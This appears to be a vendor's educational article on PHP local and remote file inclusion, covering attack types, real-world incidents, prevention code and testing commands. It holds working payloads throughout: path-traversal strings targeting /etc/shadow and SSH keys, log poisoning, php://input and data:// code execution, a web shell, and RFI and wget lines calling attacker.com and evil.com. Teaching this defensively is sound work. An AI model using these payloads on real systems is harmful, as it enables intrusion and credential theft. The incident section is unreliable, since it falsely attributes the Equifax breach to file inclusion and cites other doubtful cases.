File Inclusion (LFI/RFI): The Dynamic Loading Attack
CRITICAL SEVERITY RCE FILE ACCESS
File Inclusion vulnerabilities occur when applications dynamically include files based on user input without proper validation, allowing attackers to include malicious local or remote files that execute code on the server.
In One Sentence: Tricking a website into loading and running attacker-controlled files, either from the server itself (LFI) or from external sources (RFI).
Critical Vulnerability
Danger Level: CRITICAL - Can lead to complete server compromise and Remote Code Execution (RCE). File inclusion remains a top vulnerability in PHP applications and legacy systems.
What is File Inclusion?
In Simple Terms
Imagine a library where you can request books by number. You ask for "Book #42" and the librarian retrieves it. But what if you could request:
- "Book #../../admin-only-vault/secret-documents" (LFI - accessing restricted local files)
- "Book at http://attacker.com/malicious-book.pdf" (RFI - loading external files)
And the librarian blindly retrieves and reads them aloud to everyone!
In the digital world:
Web applications often use dynamic file inclusion to load different pages, templates, or modules based on user requests. If not properly secured, attackers can manipulate these requests to include files they shouldn't have access to.
Two Types
Including existing files on the server
- Reading configuration files, source code, system files
- Example: Including
/etc/passwdto see user accounts
Including files from external servers
- Loading attacker's malicious code directly
- Example: Including
http://attacker.com/shell.phpto gain remote shell
Real-World Analogy: The Smart Restaurant Menu
Scenario: A restaurant with a digital menu system.
Customer: "Show me page 3 of the menu"
System includes: /menus/page3.html
Display: Desserts menu ✓
Customer: "Show me ../../kitchen/secret-recipes.txt"
System includes: /menus/../../kitchen/secret-recipes.txt
Display: Secret recipes revealed! ✗
Customer: "Show me http://attacker.com/poison.html"
System includes: http://attacker.com/poison.html
Display: Attacker's malicious content with code that steals credit cards! ✗
The Problem
The menu system blindly includes whatever file path the customer specifies without checking if it's actually a menu file.
How File Inclusion Attacks Work
Local File Inclusion (LFI)
FILE DISCLOSURE
Vulnerable PHP Application:
Vulnerable Code
php<?php
// Vulnerable code - common in old PHP applications
$page = $_GET['page'];
include('/var/www/pages/' . $page);
?>
Normal Usage
URL: http://website.com/index.php?page=about.php
Includes: /var/www/pages/about.php ✓
LFI Attack
URL: http://website.com/index.php?page=../../../../etc/passwd
Includes: /var/www/pages/../../../../etc/passwd
Resolves to: /etc/passwd
Result: Displays system password file! ✗
What attackers can read:
bash/var/www/config.php
/var/www/.env
/etc/nginx/nginx.conf
/etc/apache2/apache2.conf
bash/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
bash/var/log/apache2/access.log
/var/log/nginx/access.log
bash/home/user/.ssh/id_rsa
/root/.ssh/id_rsa
bashC:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\boot.ini
Remote File Inclusion (RFI)
REMOTE CODE EXECUTION
Vulnerable PHP Configuration:
Vulnerable Code
php<?php
// Vulnerable code
$module = $_GET['module'];
include($module . '.php');
?>
RFI Attack
URL: http://website.com/index.php?module=http://attacker.com/shell
Server executes:
include('http://attacker.com/shell.php');
Attacker's shell.php:
<?php system($_GET['cmd']); ?>
Result: Attacker can run any system command! ✗
Attack Flow:
Attacker hosts malicious file: http://evil.com/backdoor.php
Attacker sends: ?page=http://evil.com/backdoor.php
Victim server includes remote file
Backdoor.php executes on victim server
Attacker has remote code execution!
Types of File Inclusion Attacks
1. Basic LFI
PATH TRAVERSAL
Simple path traversal to access local files:
# Access system files
?page=../../../../etc/passwd
?file=../../../../../../etc/shadow
?include=../../../../var/www/config.php
# Access log files
?page=../../../../var/log/apache/access.log
2. LFI with Null Byte Injection
PHP < 5.3.4
Bypassing file extension checks:
Vulnerable Code
php// Vulnerable code forces .php extension
$file = $_GET['file'] . '.php';
include($file);
// Normal: file=about → includes about.php ✓
Attack with Null Byte
?file=../../../../etc/passwd%00
# Null byte (%00) terminates string
# Result: includes /etc/passwd (ignores .php) ✗
3. LFI to RCE via Log Poisoning
CODE EXECUTION
Injecting PHP code into log files, then including them:
bash# Send HTTP request with PHP code in User-Agent
curl http://victim.com -A "<?php system($_GET['cmd']); ?>"
# Access log now contains:
192.168.1.100 - - [date] "GET / HTTP/1.1" 200 - "<?php system($_GET['cmd']); ?>"
?page=../../../../var/log/apache2/access.log&cmd=whoami
Result: Log file included, PHP code executes, runs whoami command!
Other Poisonable Files:
bash/var/log/mail.log
# Inject via email subject or body
bash/var/log/auth.log
# Inject via SSH username: ssh '<?php phpinfo(); ?>'@victim.com
bash/var/lib/php/sessions/sess_[SESSION_ID]
# Inject via PHP session variables
4. LFI via PHP Wrappers
BYPASS TECHNIQUE
Using PHP's built-in wrappers to bypass restrictions:
Read source code without executing PHP:
?page=php://filter/convert.base64-encode/resource=config.php
# Server returns base64-encoded source code
# Decode to see database passwords and secrets!
RCE via POST body:
POST /index.php?page=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded
<?php system('whoami'); ?>
# Server executes POSTed PHP code!
RCE via data URI:
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=whoami
# Base64 decodes to: <?php system($_GET[c]); ?>
# Executes: whoami
Direct command execution:
# If expect extension enabled
?page=expect://whoami
# Directly executes system command
5. Basic RFI
REMOTE INCLUSION
Including remote files directly:
?page=http://attacker.com/shell.php
?module=https://evil.com/backdoor.txt
?include=ftp://attacker.com/exploit.php
Attacker's shell.php:
php<?php
// Simple web shell
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
Usage:
?page=http://attacker.com/shell.php&cmd=ls
?page=http://attacker.com/shell.php&cmd=cat /etc/passwd
?page=http://attacker.com/shell.php&cmd=wget http://attacker.com/rootkit.sh
6. RFI with Bypass Techniques
FILTER EVASION
Bypassing basic filters:
php// Filter blocks http://
if (strpos($_GET['page'], 'http://') !== false) {
die('Blocked!');
}
// Bypass techniques:
?page=htTp://attacker.com/shell.php (case variation)
?page=http:\\\\attacker.com/shell.php (backslashes)
?page=//attacker.com/shell.php (protocol-relative URL)
?page=http://attacker.com/shell.txt (.txt extension - server executes anyway)
Real-World Examples
Example 1: WordPress Core LFI (CVE-2015-5622)
MILLIONS AFFECTED
Attack: Local file inclusion in wp-admin
Impact:
- Millions of WordPress sites affected
- Configuration file disclosure
- Database credentials exposed
Vulnerable Code
php// Simplified vulnerable code
$file = $_GET['file'];
include(ABSPATH . '/wp-admin/' . $file);
Attack
/wp-admin/admin.php?file=../wp-config.php
Result: Displayed wp-config.php containing database credentials
Example 2: Drupal RFI (2008)
MASS COMPROMISE
Attack: Remote file inclusion in module system
Impact:
- Thousands of Drupal sites compromised
- Mass defacement campaigns
- Botnet recruitment
Attack:
/index.php?module=http://attacker.com/backdoor
Example 3: PHPMailer LFI (CVE-2017-5223)
WIDESPREAD
Attack: LFI leading to RCE
Impact:
- Used by millions of PHP applications
- Complete server compromise possible
Example 4: Apache Struts 2 RFI
EQUIFAX BREACH
Attack: Remote code execution via file inclusion
Impact:
- Equifax breach (143 million records)
- Multiple critical vulnerabilities over years
Prevention and Mitigation
1. Avoid Dynamic File Inclusion
BEST PRACTICE
The best defense: Don't use user input in file paths at all.
❌ DON'T DO THIS
php<?php
// VULNERABLE
$page = $_GET['page'];
include($page . '.php');
?>
✅ DO THIS
php<?php
// SECURE - Whitelist approach
$allowed_pages = [
'home' => 'home.php',
'about' => 'about.php',
'contact' => 'contact.php'
];
$page = $_GET['page'] ?? 'home';
if (!array_key_exists($page, $allowed_pages)) {
die('Invalid page');
}
include($allowed_pages[$page]);
?>
2. Input Validation (Whitelist)
RECOMMENDED
Only allow expected values:
php<?php
// Whitelist of allowed files
$allowed_files = ['home', 'about', 'contact', 'products'];
$file = $_GET['file'] ?? 'home';
// Validate against whitelist
if (!in_array($file, $allowed_files, true)) {
http_response_code(400);
die('Invalid file');
}
// Safe to include
include(__DIR__ . '/pages/' . $file . '.php');
?>
python# Python/Flask
from flask import Flask, request, abort, render_template
ALLOWED_TEMPLATES = {
'home': 'home.html',
'about': 'about.html',
'contact': 'contact.html'
}
@app.route('/page')
def load_page():
page = request.args.get('page', 'home')
if page not in ALLOWED_TEMPLATES:
abort(400, 'Invalid page')
return render_template(ALLOWED_TEMPLATES[page])
3. Path Sanitization
DEFENSE IN DEPTH
If you must use filenames, sanitize them rigorously:
php<?php
function sanitize_filename($filename) {
// Remove null bytes
$filename = str_replace(chr(0), '', $filename);
// Remove path traversal sequences
$filename = str_replace(['../', '..\\'], '', $filename);
// Allow only alphanumeric, dash, underscore
$filename = preg_replace('/[^a-zA-Z0-9_-]/', '', $filename);
return $filename;
}
$file = sanitize_filename($_GET['file']);
// Verify file exists in allowed directory
$base_dir = '/var/www/pages/';
$full_path = realpath($base_dir . $file . '.php');
// Check if resolved path starts with base directory
if ($full_path === false || strpos($full_path, realpath($base_dir)) !== 0) {
die('Invalid file path');
}
// Check file exists
if (!file_exists($full_path)) {
die('File not found');
}
include($full_path);
?>
4. Disable Dangerous PHP Settings
CONFIGURATION
PHP configuration (php.ini):
ini# Disable remote file inclusion
allow_url_include = Off
allow_url_fopen = Off
# Disable dangerous functions
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Why This Helps
php// With allow_url_include = Off
include('http://attacker.com/shell.php'); // Blocked! ✓
// With allow_url_fopen = Off
file_get_contents('http://attacker.com/data.txt'); // Blocked! ✓
5. Principle of Least Privilege
INFRASTRUCTURE
Limit file system permissions:
bash# Web server should not have read access to sensitive files
sudo chmod 600 /etc/shadow
sudo chmod 600 /var/www/config.php
sudo chmod 700 /root/.ssh/
# Web files should be owned by specific user, not root
sudo chown www-data:www-data /var/www/html -R
sudo chmod 644 /var/www/html/*.php
bash# Restrict web server file access
setsebool -P httpd_enable_homedirs off
setsebool -P httpd_read_user_content off
Testing for File Inclusion
Manual Testing
TESTING GUIDE
bash# Test various depths
curl "http://target.com/page?file=../../../../etc/passwd"
curl "http://target.com/page?file=../../../../../../etc/passwd"
# Common target files
?file=../../../../etc/passwd
?file=../../../../var/www/html/config.php
?file=../../../../var/log/apache2/access.log
bash# For older PHP versions
curl "http://target.com/page?file=../../../../etc/passwd%00"
curl "http://target.com/page?file=../../../../etc/passwd%00.jpg"
bash# Filter wrapper
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
# Input wrapper
curl -X POST "http://target.com/page?file=php://input" \
-d "<?php system('whoami'); ?>"
# Data wrapper
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="
bash# Test if allow_url_include is enabled
curl "http://target.com/page?file=http://attacker.com/test.txt"
# Protocol variations
curl "http://target.com/page?file=https://attacker.com/shell.php"
curl "http://target.com/page?file=ftp://attacker.com/backdoor.php"
Automated Tools
bash# LFI fuzzing
ffuf -w /path/to/lfi-payloads.txt \
-u "http://target.com/page?file=FUZZ" \
-fc 404
bash# Automated LFI testing
dotdotpwn -m http -h target.com -x 80 \
-f /etc/passwd -d 6 -t 200
bash# LFI exploitation framework
kadimus -u "http://target.com/page?file=" -A
# Options:
# -A: Auto-detection
# -C: Command execution
# -S: Shell access
Summary: What You Need to Remember
File Inclusion vulnerabilities allow attackers to include malicious files - either local files from the server (LFI) or remote files from attacker-controlled servers (RFI) - leading to information disclosure or remote code execution.
The Simple Version:
- What it is: Tricking the application into loading unauthorized files by manipulating file path parameters
- Why it's dangerous: Can read sensitive files, expose source code, or execute arbitrary code (RCE)
- How to prevent it: Use whitelists, never trust user input in file paths, disable remote inclusion
Real-World Impact:
- WordPress: Millions affected by LFI vulnerabilities
- Equifax: RFI in Apache Struts led to 143M record breach
- PHPMailer: Widespread LFI affecting millions of sites
Key Distinction:
- LFI: Reading existing server files (configs, logs, source code)
- RFI: Loading attacker's remote files (backdoors, shells)
Quick Protection Checklist
For Website Owners & Developers:
DO Use whitelists - map user input to predefined safe file paths DO Validate and sanitize all file parameters DO Disable remote inclusion (allow_url_include = Off) DO Use realpath() validation to verify paths stay within allowed directories DO Remove path traversal sequences (../, .., null bytes) DO Apply least privilege - limit web server file system access DO Use framework functions that handle file inclusion securely
DON'T Use user input directly in include/require statements DON'T Trust user-supplied file paths without validation DON'T Allow remote file inclusion in production DON'T Concatenate user input with file paths DON'T Return detailed error messages that reveal file paths
For Security Testers:
TIP Test for path traversal with various depths (../, ../../, etc.) TIP Try PHP wrappers (php://filter, php://input, data://) TIP Attempt null byte injection on older systems TIP Test log poisoning for LFI to RCE escalation TIP Check if allow_url_include is enabled for RFI
Additional Resources
- OWASP File Inclusion
- CWE-98: Improper Control of Filename
- Kadimus - LFI/RFI Framework
- PHP Security Guide
Learn More
Layerd AI Cloud WAF prevents file inclusion attacks by detecting path traversal patterns, blocking PHP wrappers, and preventing remote file loading attempts. Learn more →
Last updated: November 2025